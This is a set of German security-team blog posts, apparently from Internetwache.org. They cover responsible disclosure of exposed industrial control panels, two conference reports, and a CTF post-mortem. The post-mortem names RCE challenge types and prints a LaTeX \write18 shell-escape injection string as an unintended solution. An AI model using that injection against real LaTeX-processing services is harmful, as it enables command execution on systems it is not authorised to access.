Am Ende haben wir so eine Liste erhalten - mit der wir sehr gut weiterarbeiten und die eigentliche Auswertung starten konnten. Von den entdeckten Systemen waren ungefähr 50% mittels HTTP-Basic-Authentication abgesichert und genauso viele leider nicht. Dabei korrelierte die HTTP-Authentication meist mit der Verschlüsselung. Nicht besonders geschützten Systeme (ohne HTTP-Authentication) haben wir uns genauer angeschaut, indem wir sie manuell im Browser geöffnet haben. Dabei konnten wir feststellen, dass die HMIs in folgenden Bereichen eingesetzt wurden:

• Wasserwerke: 4
• Parkplatzanlagen: ~10
• Smart Homes + Hotels: >5
• Biogasanlagen / Blockheizkraftwerke / Fernheizwerke: 7

Laut Geo-IP-Location waren vor allem die Länder aus dem DACH Bereich betroffen, aber auch aus den USA, Frankreich, Italien oder Israel. Das liegt vermutlich vor allem daran, dass der Hersteller der Software überwiegend im DACH-Bereich seine Software vertreibt und in anderen Ländern Reseller den Vertrieb übernehmen.

Nach diesen Erkenntnissen wandten wir uns an über 10 CERTs von betroffenen Ländern und schilderten das Problem. Zudem baten wir um eine rasche Kontaktaufnahme mit den jeweiligen Betreibern. Die meisten CERTs bedankten sich für den Hinweis und teilten uns mit, man habe die Informationen weitergeleitet. Tatsächlich konnten wir in den darauffolgenden Wochen feststellen, dass immer mehr Systeme auf unserer Liste offline waren oder den Passwortschutz aktiviert hatten.

Auch das Betreiben eines mittels HTTP-Basic-Authentication geschützten Systems im öffentlichen Internet ist durchaus bedenklich, wenn man es unter dem Gesichtspunkt der IT-Sicherheit betrachtet. Einem Angreifer ist es möglich von außen zu erkennen, dass eine Software genutzt wird, welche sich für Anlagensteuerungen nutzen lässt - mittels der Informationen aus dem WHOIS oder dem IP-Lookup lassen sich ebenfalls Rückschlüsse auf die Betreiber ziehen. Wir haben beispielsweise IP-Adressen gefunden, bei denen eine Zuordnung durch offen zugängliche Informationen möglich war (etwa Stadtwerken und Unternehmen).

Mehr Informationen dazu finden sich in unserem Golem.de-Artikel](http://www.golem.de/news/smart-city-schweizer-prime-tower-gibt-massenhaft-daten-preis-1601-118552.html)

Sicherheitslücken

Im Rahmen der Untersuchung warfen wir ebenfalls einen kleinen Blick auf die Sicherheit der Webapplikation, nachdem Tim an einer Stelle eine Vermutung hatte. Tatsächlich gelang es Sebastian Tims Vermutung in eine erste Cross-Site-Scripting Lücke zu verwandeln. Außerdem entdeckte er noch eine HTTP-Header-Injection. Beide Sicherheitslücken und die Schließung letzterer werden zur Zeit über das Cert-CC mit dem Hersteller koordiniert.

Updates

Sobald der Hersteller die Lücken behoben hat und/oder das Cert-CC sein Advisory veröffentlicht, sowie mehr betroffene Systeme offline sind, werden wir nach und nach mehr Informationen und unsere Tools veröffentlichen.

Timeline

Damit es möglich ist sich einen Eindruck von dem “Verlauf der Dinge” zu verschaffen, teilen wir hier die grobe Timeline:

• Oktober 2015

  • Beschäftigung mit Industrieroutern / Fund: Prime Tower Webapplikation

• Oktober 2015 - Januar 2016

  • Mehrfache Meldung an Betreiberin => 3 Monate, responsible disclosure Zeit abgelaufen

• 22.01.2016

  • Artikel auf golem.de

• 22.01.2016 (6 Stunden nach Artikelveröffentlichung)

  • Offlinenahme der Webapplikation / Statement der Betreiberin (siehe ausführliche Beschreibung und Analyse der Ereignisse)

• März / April 2016

  • Analyse der gespeicherten Dateien (HTTP-Requests, etc.), schreiben Scanscript und Nutzung “zmap”

• Anfang April 2016

  • erster Scan auf öffentliche IP-Adressen (Fund von einigen Systemen - teils kritisch, teils weniger kritisch)

• 11.04.2016

  • Email: Nachfrage bei Hersteller, ob bewusst, dass so viele Systeme online
    • Nachfrage nach Security-Hinweis im Handbuch
    • Erste Nachfrage zur Unregelmäßigkeit beim Parametern (später werden daraus die Sicherheitslücken)

• Mitte April 2016

  • Wochenende: weitere Scans / Analyse der Scans: Fund Wasserwerk (!) Tim und Sebastian finden XSS

• 17.04.2016

  • Email an Bund-CERT (BSI) - Mitteilung über Wasserwerke

• 18.04.2016

  • BSI Bestätigung: “Wir werden auf die Betreiber zugehen und uns hier um Abhilfe bemühen.”

• 19.04.2016

  • Antwort vom Hersteller - überwiegend allgemeine Infos zu Produkten

• 19.04.2016

  • Antwort an Hersteller
    • Nennung der XSS Lücke
    • Erwähnung: Fund Wasserwerk
    • Nachfrage: Telefonat

• Ende April 2016

  • Sebastian entdeckt HTTP-Header-Injection (Proof of Concept wird an Hersteller geschickt)

• 20.05.2016 (1 Monat nach unserer Antwort)

  • Antwort vom Hersteller - Telefonat möglich

• 20.05.2016

  • Telefonat mit Hersteller via Skype
  • Inhalt:
    • Hersteller sieht sich generell nicht in der Vorantwortung für Kundenprojekte im Internet
    • Hersteller möchte keine generelle Sicherheitsinfo an Kunden geben, kann aber individuelle Ansprache über Reseller vornehmen
    • Security-Hinweise: “in Überarbeitung”, Übersendung soll im Mai erfolgen
    • Frage nach Test-Umgebung: kann im Mai zur Verfügung gestellt werden

• Ende Mai

  • Sebastian entwickelt neues Script => besseres und schnelleres Scannen möglich
    • Nutzung der Scans von scans.io
    • Entwicklung eines Plugins für nmap
    • Durchführung des Intensiv-Scan (Ergebnisliste mit über 120 Treffern, teils mit Authentifizierung, teils ohne)
    • Erste Sichtung der Ergebnisse (weitere Funde)

• 26.05.2016

  • Email an Hersteller
    • Nennung der zentralen Scanergebnisse
    • Bitte um schnelle Behebung der Sicherheitslücken
    • Bitte Informationen über Reseller zu vermitteln

• Ende Mai 2016

  • Versendung von Infos an mehr als 10 CERTs weltweit

• 06.06.2016

  • Antwort vom Hersteller (letzte erhaltene Email): generelle Informationen

• 09.06.2016

  • Antwort auf die Email von Hersteller: Konkrete Nachfragen zu den Lücken und Disclosure-Prozess

• 17.06.2016

  • Letzte Nachfrage bei Hersteller
  • keine Reaktion:
    • keine Informationen zu den Sicherheitslücken
    • kein Security-Paper (Handbuch zum sicheren Betrieb) => Sollte bereits im Mai fertig sein.
    • keine Testumgebung

• Ende Juni / Anfang Juli 2016

  • Erneutes Anschreiben zahlreicher CERTs / Betreiber
  • Abwarten bis Applikationen offline

• Anfang Juli 2016

  • Meldung der Sicherheitslücken an das CERT Coordination Center

• 15.07.2016

  • Veröffentlichung des Artikels auf golem.de
  • Veröffentlichung des Teaser-Artikels auf Spiegel.de
  • Zahlreiche weitere Medien nehmen die Erkenntnisse aus unserer Untersuchung in die Berichterstattung auf

• 16.07.2016

  • Veröffentlichung Artikel im Print Spiegel

Sebastian hatte Gelegenheit dieses Jahr Mitte März nach Heidelberg zu fahren, um auf Troopers einige Eindrücke zu sammeln und nette Personen zu trefffen.

Die Konferenz ließ sich grob in drei Teile gliedern:

• Die Trainings fanden am 14. und 15. März statt und stellten 1 bis 2-tägige Workshops in verschiedenen Themenbereichen dar. Parallel dazu fand der IPv6-Security-Summit statt.
• Die Hauptkonferenz fand am 16. und 17. März statt.
• Die Roundtables schlossen die Konferenz am 18. März ab und stellten eine Möglichkeit zur Diskussion über verschiedene Themen dar.

Sebastian hatte sich mit einem “Student Motivation Letter” als Student für die Hauptkonferenz beworben und wurde als einer der ‘Next Generation Hacker’ angenommen. Nach einer 13-stündigen Busfahrt (aus Berlin) war Sebastian angekommen und traf direkt zwei weitere Studenten-Hacker im Hostel. Am Mittwoch startete die Hauptkonferenz mit einer interessantes Begrüßung und Keynote. Unter den rund 300 Besuchern waren etwa 50 Speaker anwesend. Die Talks waren auf drei verschiedene Tracks verteilt:

• Attack & Research
• Defense & Management
• SAP Security

Bei so vielen interessanten Talks war es schwer zu entscheiden, welchen man sich anhören sollte, deswegen gibt es hier nur eine kleine Übersicht über Talks die ich ganz interessant fand:

• Casey Smith - Mind The Gap - Exploit Free Whitelisting Evasion Tactics
• Felix Wilhelm - Attacking Next-Generation Firewalls
• Oliver Matula - Imma Chargin Mah Lazer - How to protect against (D)DoS attacks
• Adrian Dabrowski - Hollywood Hacking
• Attila Marosi - How easy to grow robust botnet with low hanging fruits (IoT) - for free

Aber die Talks waren nicht die einzige Attraktion auf dieser Konferenz. Nebenbei gab es ein eigenes GSM Netzwerk und lokales CTF. Die Lösungen für diesen, als auch für den PacketWars CTF, finden sich auf 0day.work. PacketWars fand nach dem leckeren Shared Dinner am Mittwochabend statt. Sebastian hat diesen als Teil des Teams ‘Squareroots’ bestritten und gemeinsam den 1. Platz erspielt.

Ein weiteres Highlight waren die elektronischen Badges, die am 2. Tag der Hauptkonferenz verteilt wurden:

Ein weiteres tolles Hardware-Gadget zum Selbstlöten war das USB-Kondom. Das ist ein kleiner USB-Adapter, bei dem die USB-Datenleitungen gekappt sind, sodass nur der Strom zum Laden durchgelassen wird.

Allgemein kann man sagen, dass das Event sehr gut organisiert war. Es hat mir persönlich weitergeholfen und ich habe viele neue nette Menschen getroffen. Ich würde mich freuen nächstes Jahr wieder als Student teilnehmen zu dürfen.

Das Team der Internetwache.org

In diesem Blogpost möchten wir aus unserer Sicht einige Dinge zum CTF berichten. Was war das Setup? Was lief schief? Was haben wir gelernt? Was war gut? Was können wir im nächsten Jahr besser machen? Wir hoffen, dass dieser Artikel vielleicht anderen CTF Veranstaltern in Zukunft helfen kann.

Zunächst einmal ein paar Worte zu uns: Sebastian (aka gehaxelt) hat bereits in der Vergangenheit mit dem Team ENOFLAG an einigen CTFs teilgenommen (jeopardy / attack-defense). Tim (aka TPS) nimmt nicht an CTFs teil, fand die Idee von Sebastian ein eigenes CTF zu veranstalten allerdings sehr gut und hat ihn deswegen etwas unterstützt.

Im November letzten Jahres hatte Sebastian die Idee, dass man selbst einmal ausprobieren könnte einen jeopardy-style CTF zu veranstalten. Er war interessiert daran Aufgaben für andere Hacker zu erstellen und zu sehen, wie diese mit diesen umgehen. Anfang Febuar 2016 war es dann soweit: Wir haben unseren ersten CTF auf ctftime.org angekündigt und haben sogar eine Gewichtung von 5.00 erhalten. Die Wertung hat uns etwas gewundert, da sie von den ctftime.org-Admins subjektiv vergeben wird und wir eigentlich damit gerechnet haben, eine Gewichtung von 0,00 zu erhalten - schließlich haben wir zum ersten Mal ein CTF angekündigt und organisiert. Natürlich würden wir uns freuen, wenn wir diese Gewichtung weiter ausbauen könnten (bspw. im nächsten Jahr) und sich unser CTF positiv weiterentwickerlt :)

Der CTF sollte am 20. Febuar 2016 veranstaltet werden - wir hatten also rund 3 Wochen um alle Vorbereitungen abzuschließen. Die Besonderheit, sofern man von einer Besonderheit sprechen kann, bestand darin, dass wir die Challenges nicht nach Schwierigkeit gestaffelt haben. Das hat mehere Gründe: Erstens ist es immer schwer einzustufen, wie schwierig eine Aufgabe wirklich ist und zweitens sollte das Vorgehen etwas an Klausuren angelehnt sein - bei denen weiß man auch nicht unbedingt auf den ersten Blick welche Aufgaben einem leicht fallen und welche schwer :)

Insgesamt denken wir, dass der CTF nicht schlecht war - auch da wir einige sehr positive Rückmeldungen aus der Community erhalten haben. Wir werden uns einige Rückmeldungen später noch einmal genauer anschauen.

Einige Zahlen:

Um einen Eindruck vom CTF zu bekommen - hier einige Zahlen:

• Scoreboard (Bestenliste): https://ctf.internetwache.org/scoreboard
• Durchführungszeitraum: 36 Stunden (20 Feb. 2016, 12:00 CET — 22 Feb. 2016, 00:00 CET)
• Registrierte Teams: ~1500
• Aktive Teilnehmerteams: ~650
• Teams, welche alle Challenges gelöst haben: 38
• Ctftime.org Bewertung: 4.5
• Ctftime.org Gewichtung: 5.00
• Wall of Shame: 35 IP Adressen
• HTTP Anfragen: 2336957
• Traffic (Netzwerkverkehr): ~20 GB
• Kosten: 20$ (Hosting)
• Preis: 0 (Nichts) (Wenn Sie oder Du beim nächsten CTF als Sponsor auftreten möchten - können Sie/Du sich gern bei uns über Email melden: :) )

Wir waren sehr erfreut, dass es tatsächlich 650 aktive Teams gab (die mindestens eine Challenge gelöst haben). Das ist etwas weniger als 50% der registrierten Nutzer. Etwas enttäuscht waren wir von 35 Leuten, da sie offensichtlich nicht aufmerksam die Regeln gelesen haben und mit aggressiven Tools das CTF überlisten wollten - dadurch haben sie sich alle einen Platz in unseren Iptables verdient. Wie auch immer, einigen Leuten haben wir nach einer Entschuldigung auch wieder Zugang gewährt :). Eine andere Sache die wir überschätzt haben, war der Traffic - im Großen und Ganzen hielt unser Aufbau der Belastung gut Stand.

Setup

Im Bereich Hosting haben wir auf Digitalocean.com vertraut, weil wir dort noch einiges an Belohnung auf unserem Account hatten und Sebastian bislang sehr zufrieden mit dem Anbieter war. Ein weiterer Grund war, dass die Dienste dort prima funktionieren - VMs lassen sich in weniger als einer Minute hochfahren oder sichern (snapshotten) - was das Austesten von Konfigurationen erleichert.

Insgesamt haben wir uns 4 virtuelle Maschinen (VMs) angemietet:

• 1x $5/mo als Monitoring VM, welche Performance-Daten der anderen VMs eingesammelt und dargestellt hat. Dazu haben wir Collectd genutzt.
• 3x $80/mo VMs als Proxy, Service und Webserver VMs.

Die Domains *.ctf.internetwache.org zeigte auf eine “floating-ip”, welche wiederum auf die Proxy-VM verwies. Alle 4 virtuelle Maschinen waren über Digitaloceans privates Netzwerk verbunden.

Auf der Proxy-VM war NGINX konfiguriert, welches als Load-Balancer für HTTP(s) und TCP Traffic dienen sollte. Der Web-Traffic wurde zu der Webserver-VM und der TCP-Verkehr zur Service-VM weitergeleitet. Dieser zentrale Proxy erlaubte es uns, bösartige Angreifer dort direkt zu stoppen und bei Bedarf auf mehr VMs zu skalieren. Die Webserver-VM nutzte Apache2, MySQL und php5. Wir nutzten das apache2-mpm-itk Modul, um jedem VHost einen eigenen Benutzer zuzuweisen. Die Service-VM nutzte Tools wie Daemontools und TCPServer, um die Services bereitzustellen. Alle VMs hatten Cgroups konfiguriert, um die Ressourcen der Nutzer der Gruppe ctf zu limitieren.

Das gezeigt Setup erwies sich als stets solide, wir hatten während des CTFs keine massiven Performanceeinbrüche. Rückblickend hätten wir sogar noch kleinere VMs wählen können - dadurch hätte man allerdings auch nur rund ~$6,5 gespart und zudem wollten wir uns gerade bei unserem ersten CTF keine Panne bei zu enger Ressourcenplanung erlauben. Während des CTFs kam es nur zu einem sehr kleinem Zwischenfall, bei dem wir einschreiten mussten.

Wir haben unser Spielpanel basierend auf der tinyctf-platform aufgebaut. Es ist in Python geschrieben und lässt sich einfach erweitern (wir haben beispielsweise einen CSRF Schutz und einige andere Features eingebaut). Das Scoreboard ist nun Internetwache erprobt und wir werden es sicherlich noch einmal einsetzen - vielleicht im nächsten Jahr.

Challenges

Schauen wir uns einmal die Challenges an. Insgesamt gab es 6 Kategorien mit je 5 Challenges:

Misc

• Misc50: Octal und Base64 Kodierung
• Misc60: Base64 und QR Codes
• Misc70: Pcap Dump mit einer Zipdatei
• Misc80: DNS Requests und Hex
• Misc90: Barcodes

Web

• Web50: PHP magic hashes
• Web60: PHP preg_replace mit e modifier RCE
• Web70: MySQL truncation vulnerability
• Web80: Öffentlicher Git Ordner
• Web90: Latex RCE

Rev

• Rev50: MIPS assembly
• Rev60: Dateiinhaltsprüfungen
• Rev70: Switch case Eingabeprüfungen
• Rev80: TapeBagel Reversing
• Rev90: Rubiks Cube mit Flagge

Crypto

• Crypto50: Mehrere Chiffren hintereinander
• Crypto60: RSA Schlüsselfaktorisierung
• Crypto70: Hash Kollisionen
• Crypto80: Stegano / DTMF
• Crypto90: Bearbeitung des Ciphertextes

Code

• Code50: Gleichungen lösen
• Code60: Primzahlen finden
• Code70: Kodierte Gleichungen lösen
• Code80: Eine Zeichenkette bruteforcen
• Code90: BST Baumoperationen

Exploit

• Exp50: Ruby Regex
• Exp60: Integer-Overflow
• Exp70: Variable-Overflow
• Exp80: Formatstring Lücke
• Exp90: NodeJS ‘shell’

Alle Challenges und einige Konfigurationen sind in unserem GitHub Repository zu finden.

Easter-Egg: Alle Portnummern waren Primzahlen

Probleme die aufgetreten sind

Wir sind auch nur Menschen und wir alle machen Fehler oder stellen während des CTF Fehler fest. Wir finden es wichtig über diese Fehler zu sprechen:

Web70

Die angestrebte Lösung für diese Aufgabe war die Nutzung einer sogenannten ”mysql truncation vulnerability”. Diese Schachstelle funktionierte bedauerlicherweise so gut, dass sobald eine Personen einen Exploit erfolgreich ausgeführt hat, andere Teams einfach in der Lage waren sich einzuloggen - zum Beispiel mit admin/admin oder ähnlichen Kombinationen. Das machte die Challenge sehr trivial, aus diesem Grund haben wir die diese einige Zeit offline genommen und einen Quick-and-Dirty Fix implementiert, welcher das Problem behoben hat.

Web90

Während der Erstellung dieser Challenge dachte Sebastian an einen bestimmten Lösungsweg. Allerdings vergaß er den Filter um \write18 zu erweitern, sodass die Challenge trivial mit \immediate\write18{Kommando} lösbar war. Wie auch immer, wir bemerkten diesen Bug leider viel zu spät, als das es noch fair gewesen wäre, ihn zu beheben. Wir hoffen aber, dass ihr trotzdem was gelernt habt :) Sebastian wird irgendwann über die geplante Lösung einen Blogpost auf 0day.work veröffentlichen.

Rev90

Das war die Rubik’s Cube Challenge. Sebastian hat leider einen kleinen Fehler beim Verwürfeln gemacht. Eine korrigierte Version der README wurde während dem CTF hochgeladen. Entschuldigung dafür! (Wie auch immer, es gab noch einen anderen Weg diese Challenge zu lösen.)

Crypto50

Das schien aus unserer Sicht eine einfache Challenge zu sein, allerdings stellte es sich als etwas zu schwierig (zu viel raten?) für die Teilnehmer heraus. Wir hätten die Beschreibung klarer machen sollen.

Code70

Das Zeitformat (TIME:CHAR) war ein wenig unklar.

Code90

Die Beschreibung war ein wenig uneindeutig, was das Eingabe-/Ausgabeformat anging.

Dauer

Die Dauer war eine weitere Sache, die wir überschätzt haben und etwas kürzer hätten wählen sollen. Wir hatten das Gefühl, dass nach 24 Stunden nicht mehr viel Aktivität vorhanden war. Nur noch ein paar Teams, welche die verbleibenden Challenges noch lösen wollten. Allerdings gab es in den letzten Stunden nochmal einen Ansturm. Einige teilten uns mit, dass längere CTFs gut für Einsteigerteams sind und das Zeitzonen-Tageslicht-Differenzen vermeidet, sodass es kein so großes Problem darstellte. Der nächste CTF wird bestimmt etwas kürzer sein (ungefähr 12 Stunden). Sebastian hat festgestellt, dass 2 Flaschen Club Mate ausreichend sind, um 40 Stunden am Stück wach zu bleiben :)

Schwierigkeit

Da dies der erste CTF war, den wir gehostet haben, war es schwer für uns die Schwierigkeit der Aufgaben abzuschätzen. Es stellte sich heraus, dass die Aufgaben ein wenig zu einfach waren. Wie auch immer und oben schon erwähnt, half es Neuankömmlingen zu lernen, wie man CTFs spielt und/oder diese funktionieren. Wir geben uns nächstes Mal noch mehr Mühe!

Weniger Hinweise

Wir erhielten die Kritik, dass wir zu viele Hinweise im privaten Chat vergeben haben. Rückblickend mag das richtig sein, aber wir haben versucht die Teilnehmer motiviert zu halten. Daher stellten wir Fragen wie ‘Wo hängst du fest?’, ‘Was hast du schon probiert?’, ‘Was kennst du noch?’, ‘Was kannst du dir noch (aus)denken?’ und ließen die Fragenden dann die Lösung herausfinden. Unserer Meinung nach reduziert das die Frustration und erhöht das Lernvermögen. Aber nächstes Mal werden wir versuchen die Hinweise allgemeiner zu halten oder öffentlich preiszugeben. (Eine seperate Hinweis-Seite ist eine gute Idee)

Insgesamt lässt sich sagen, dass sich diese Probleme durch noch ausgiebiegeres Testen hätten verhindern lassen können.

Beschreibbare Ordner

Einige Leute teilten uns mit, dass sie eine Challenge durch das ‘Greppen’ nach dem Flaggenformat auf dem Dateisystem gelöst haben. Das führte leider zu einigen trivialen Flaggen, denn einige Ordner wie /tmp enthielten temporäre Lösungsdateien anderer Teams. Wir haben diese Probleme während dem CTF behoben, in dem wir ACLs nutzten, um die Schreibrechte, der Nutzer der Gruppe ctf für die Ordner /tmp, /var/tmp und so weiter, zu entfernen.

Lastspitzen

Es gab einen interessanten Vorfall. Wir wissen immer noch nicht richtig, was genau passiert ist, aber die Last (Load) sprang plötzlich auf 2600 und ungefähr 6 GB Ram wurden zur gleichen Zeit ausgelastet. Es sieht so aus, als hätte das Cgroups-Limit von 6 GB Ram gegriffen. Interessanterweise war die VM während des Vorfalls reaktionsfähig und ein Neustart von Apache hat das Problem beseitigt.

Was wir denken, dass es insgesamt gut war

Okay, dann beleuchten wir auch mal positive Aspekte unseres CTFs. Unserer Meinung nach war die Uptime und die allgemeine Stabilität der Services gut. Ausgeschlossen einiger kleiner Downtimes wegen der Bugfixes, waren alle Services während des CTF erreichbar.

Ein weiterer starker Punkt war die Kommunikation. Wir waren den ganzen CTF lang über Twitter oder im IRC erreichbar. Wir haben kein aktives Cheating, Flaggen-Sharing oder anderes schlechtes Verhalten in unserem IRC channel mitbekommen.

Was uns erfreute waren diverse ‘aha’-Effekte unserer Teilnehmer beim Lösen der Challenges. Es scheint als hätten wir Neuankömmlingen eine gute Möglichkeit geboten, über CTFs zu lernen und das gute Gefühl zu verspüren, wenn man endlich eine Challenge gelöst hat.

Einige erfrischende und/oder interessante Challenges, wie exp80 / exp90 / web90 / rev90 / rev80 (Sebastian’s persönliche Favoriten).

Was andere über den CTF denken

Wir nutzten eine Google Umfrage um nach Feedback zu fragen. 80 Leute waren so nett uns eine handvoll an Fragen zu beantworten. Wir würden gerne einige dieser Antworten mit euch teilen.

Einige Grafiken:

Allgemeines Challenges Feedback:

• Challenge and scoreboard availability was good, services seemed to be mostly up and responsive for me, even with so many participants, nice job on that! However, we had some beginners on the team and I think it’s great to have easy challenges as well so they don’t get frustrated. They should not constitute the heart of the contest though.
• Very good, especially for the 1st CTF you’ve run!
• A bit on the easy side - but that is also fine sometimes. Great quality in presentation, and descriptions.
• It seems little bit easy to solve the challenges, but even if that we’ve learned lots of new stuff from challenges in time.
• I liked that the difficulty was not immediately visible. Encouraged me to try all the challenges and not to start with the easy ones.

Abschließende Worte:

• Extremly well done for the first time hosting a CTF, and one of the most enjoyable CTFs so far this year. Good challenge difficulty for beginning CTF teams. Time limit was okay, bit long maybe, but that leaves the less active teams time to enjoy the challenges
• Great IRC moderators! This CTF was well run which is very much appreciated after several badly run CTFs this year.
• Good job.Thanks :)
• Awesome job guys, looking forward to next year!
• I’d like to point out that your organizing work is clearly above average.
• Unlike some CTFs, this has potential to not suck. It’s a little rough right now, but I think everyone forgives you for minor mistakes in the beginnings of a major undertaking.

Wir freuen uns schon darauf, nächtes Jahr einen weiteren CTF zu hosten.

Das Team der Internetwache.org

TL;DR #TheSAS2016 war eine großartige Erfahrung und Tim hat sehr viel gelernt, da jeder Tag mit vielen Erlebnissen und dem Lernen und Erfahren neuer Dinge einherging. Die Örtlichkeiten waren beeindruckend, die Atmosphäre war etwas besonderes, die Leute waren allesamt sehr nett - alles zusammen war es ein super Erlebnis!

Zunächst einmal für alle die nicht den #TheSAS2016 in ihrer Twitter-Timeline und keine Berichte in den Medien gesehen haben oder einfach nicht wissen, worum es bei SAS geht: SAS steht für “Security Analyst Summit” und ist eine invite-only Sicherheitskonferenz organisiert von Kaspersky . In diesem Jahr wurde die Konferenz auf Teneriffa (Kanarische Inseln) abgehalten.

Ready for #TheSAS2016 pic.twitter.com/ClHu3yYzt0

— Tim Philipp Schäfers (@TimPhSchaefers) 6. Februar 2016

Personen aus der Security-Community, von Strafverfolgungsbehörden und CERTs kommen zusammen, um ihre Ideen zu teilen und darüber zu debattieren, wie man auch zukünftig die Cyberwelt sichert und Cyberkriminalität effektiv bekämpfen kann. Dieses Jahr waren es insgesamt über 330 Teilnehmer. Die Themen der Vorträge gehen von Cyberspionage, über Webhacking, Security/Safety, Malware Analyse bis hin zu ICS Hacking.

In diesem Jahr wurde die Eröffnungsrede von John Lambert @JohnLaTwC gehalten. Er ist Leiter des Threat Intelligence Centers bei Microsoft und sein Vortrag handelte über neue Möglichkeiten im Bereich der Verteidigung (“Changing the Physics of Defense”). Da wir (bei Internetwache.org) meistens die Position eines Angreifers einnehmen und Sicherheitslücken bei Unternehmen offenlegen, war dieser Vortrag tatsächlich sehr erkenntnisreich. Auf der einen Seite zeigte er wie schwer es sein kann Systeme zu sichern, wenn man sich auf traditionelle Verfahren verlässt, zeigte aber auf der anderen Seite wie gut man mit modernen Methoden dafür sorgen kann, dass Systeme und Anwendungen sicherer werden.

Modern defenders vs traditional: think about adversaries not incidents, by @johnlatwc #TheSAS2016 pic.twitter.com/gss5MITuO1

— Eugene Kaspersky (@e_kaspersky) 8. Februar 2016

John hat seine Folien nach dem Vortrag in seinem Onedrive online gestellt. Jeder der daran Interesse hat zu erfahren, wie moderne Sicherheitskonzepte aussehen sollten oder wie Microsoft mit seinem Vorgehen erfolgreich Zero-Day Lücken schließt, dem empfehlen wir ausdrücklich die Lektüre der Folien.

Neben einigen spannenden Vorträgen über offensive und defensive Sicherheitsmaßnahmen gab es auch einige “Enthüllungen” über APTs (advanced persistent threats) oder die Tools von Cyberkriminellen, etwa der “Poseidon APT”, “Adwind” und viele mehr. Hier führen wir nur einige Beispiele auf, sollte tiefergehendes Interesse an einigen Voträgen bestehen, so kann man sich auf securelist.com einige Artikel mit dem #TheSAS2016 durchlesen. Auch die Kollegen von Kaspersky DACH haben einige Artikel online gestellt.

Peoseidon APT

Sicherheitsforscher des Kaspersky GREAT Team haben eine vermutlich portugiesisch-sprechende Gruppe von Cyberkriminellen ausmachen können, die seit circa einer Dekade für Unruhe sorgen. Die Angreifer gehen dabei allerdings sehr geschickt vor und agieren meist unauffällig, um Spuren zu verwischen. Zwischenzeitlich nutzten sie sogar die Infrastruktur von Unternehmen, nur um damit andere Unternehmen anzugreifen. Dem Namen “Poseidon” haben sie erhalten, da es der Gruppe zwischendurch gelang der Satelieten-Kommunikation, welche eigentlich Schiffen vorbehalten war, habhaft zu werden. In einigen Fällen nutzten die Angreifer das alte “wri”-Dateiformat (Windows Write Document) um damit Sicherheitsvorkehrungen zu umgehen und mittels sozialer Manipulation Angreife durchzuführen. Die Gruppe ist vermutlich immernoch aktiv. Tim hat den ersten deutschsprachigen Artikel zu der Gruppe auf golem.de veröffentlicht.

Adwind

Malware-as-a-service scheint für Online-Kriminelle ein sehr lukratives Geschäft zu sein. Mit “Adwind” wurde von den Sicherheitsexperten von Kaspersky ein multi-Plattform RAT (Fernwartungsprogramm) entdeckt. Es ist komplett in Java entwickelt und läuft daher auf viele verschiedenen Systemen (z.B. Windows, Linux, Mac, etc). Die Forscher fanden heraus, dass es dort eine Art Online-Abonnement-Modell für dieses Tool gibt. Das ist der Grund warum diese Malware in verschiedenen APT und Spamkampagnen genutzt werden.

Es gab sehr viele weitere gute Vorträge - zum Beispiel über:

• Krankenhäuser hacken von @61ack1ynx
• Event-Visualisierung nutzen, um mehr Informationen über Sicherheitsvorfälle zu bekommen von @raffaelmarty von Pixlcloud
• Moderne Banküberfälle

I'm not going to try to summarize this. Basically look for patterns. @raffaelmarty #TheSAS2016 pic.twitter.com/OFCKsqr6zA

— Chris Eng (@chriseng) 9. Februar 2016

Dieser Blogpost würde zu keinem Ende kommen, falls Tim alle guten Vorträge und die hervoragende Arbeit dahinter aufzählen würde - Entschuldigung dafür!

Am zweiten Tag war Tim besonders an den Voträgen von Kymberlee Price @Kym_Possible von @bugcrowd und Katie Moussouris @k8em0 von HackerOne.

Als Hintergrundinfo, warum Tim so interessiert an den Vorträgen war (für alle die unsere Arbeit noch nicht besonders lange verfolgen): Wir (bei Internetwache) beteiligen uns seit 2012 an Bug Bounty Programmen - damals gab es nur eine handvoll Unternehmen, welche überhaupt ein solches Programm hatten (in Europa gab es - gefühlt - gar keine Unternehmen). Aus diesem Grund haben wir uns damals sehr gefreut, dass es Unternehmen wie Bugcrowd oder HackerOne gab, welche Sicherheitsforschern, wie uns, halfen und Prozesse zur Offenlegung von Sicherheitslücken entwarfen. Wir waren auf beiden Plattformen von Beginn an sehr aktiv: @Internetwache auf Bugcrowd und @Internetwache auf HackerOne . Das wir von Beginn an als Team gearbeitet haben ist auch recht außergewöhnlich, bis heute sind die meisten Teilnehmer Einzelgänger.

Zurück zum eigentlichen Thema: #TheSAS2016 Vorträge:

In ihrem Votrag hob Kymberlee hervor, dass nicht die Prozesse zur Offenlegung von Sicherheitslücken ein Problem seien (diese sind oft gut durchdacht), sondern vielmehr das fehlende Vertrauen zwischen der Security-Community und den Unternehmen. Wir glauben ebenfalls, dass “Vertrauen” essenziell für jede Art von Bug Bounty Programm ist. Oftmals haben Sicherheitsforscher mehr Vertrauen zu den Firmen als umgekehrt. Wir alle müssen an diesem Vertrauen arbeiten - vielleicht schreiben wir dazu bald noch einmal einen Blogartikel.

Sie nutzte eine sehr schöne Folie von David Lenoe um hervorzuheben, dass man sich gegenseitig Respekt zollen sollte und zusammenhalten sollte:

"No one in the security community is evil … at least the ones who actually communicate with you." @Kym_Possible of @bugcrowd #TheSAS2016

— Internetwache (@internetwache) 9. Februar 2016

Katie @k8em0 hob ebenfalls hervor, dass Hacker wichtig für Gesellschaften und Unternehmen seien - “Die Welt braucht Hacker” (englisch: “the world needs hackers”).

"The world needs Hackers" @k8em0 of @Hacker0x01 #TheSAS2016 pic.twitter.com/svkOkbQ0N7

— Tim Philipp Schäfers (@TimPhSchaefers) 9. Februar 2016

Ihr Vortrag war über Exportkontrollen und moderne Sicherheit. Für Sicherheitsforscher und -unternehmen stellt sich ein Problem dar, dass mit dem Wissen (wie 0days) zusammenhängt. Das “Wassenaar Arrangement” macht es schwer mit solchen Informationen zu reisen, denn “intrusion software” (Hackingtools, etc) stehen beispielsweise auf der Liste von zu überwachenden Waren - Katie möchte, dass das “Wassenaar Arrangement” geändert wird, denn Ausnahmen für Sicherheitsexperten sind laut ihrer Ansicht nicht ausreichend um sicherzustellen, dass die betroffenen Personen und Unternehmen in ihrer Arbeitsgestaltung frei sind.

Der letzte Tag der #TheSAS2016 war ein Entertainment-Tag. Wir machten eine Safaritour, besuchten den Teide Nationalpark und das Teide-Observatorium und entspannt uns ein wenig … Sowohl die Landschaft während der Auffahrt, als auch der Ausblick vom Teide waren wirklich eindrucksvoll.

